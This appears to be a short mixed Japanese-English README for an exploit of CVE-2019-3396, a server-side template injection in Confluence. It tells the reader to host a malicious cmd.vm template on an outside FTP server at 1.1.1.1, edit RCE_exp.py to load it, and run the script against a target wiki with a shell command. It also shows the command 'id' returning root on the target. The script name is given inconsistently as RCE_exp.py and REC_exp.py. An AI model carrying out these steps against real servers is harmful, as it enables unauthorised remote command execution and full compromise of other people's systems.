
CVE-2019-3396 confluence SSTI RCE
CVE-2019-3396 confluence SSTI RCE
1、あなたのウェブサイトにcmd.vmを配置してください(ftpまたはhttpsを使用する必要があります。httpは動作しません)
2、RCE_exp.py を修正し,change the filename = 'ftp://1.1.1.1/cmd.vm' (python -m pyftpdlib -p 21)
3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami"
$ python REC_exp.py http://test.wiki_test.cc:8080 "id"
uid=0(root) gid=0(root) groups=0(root)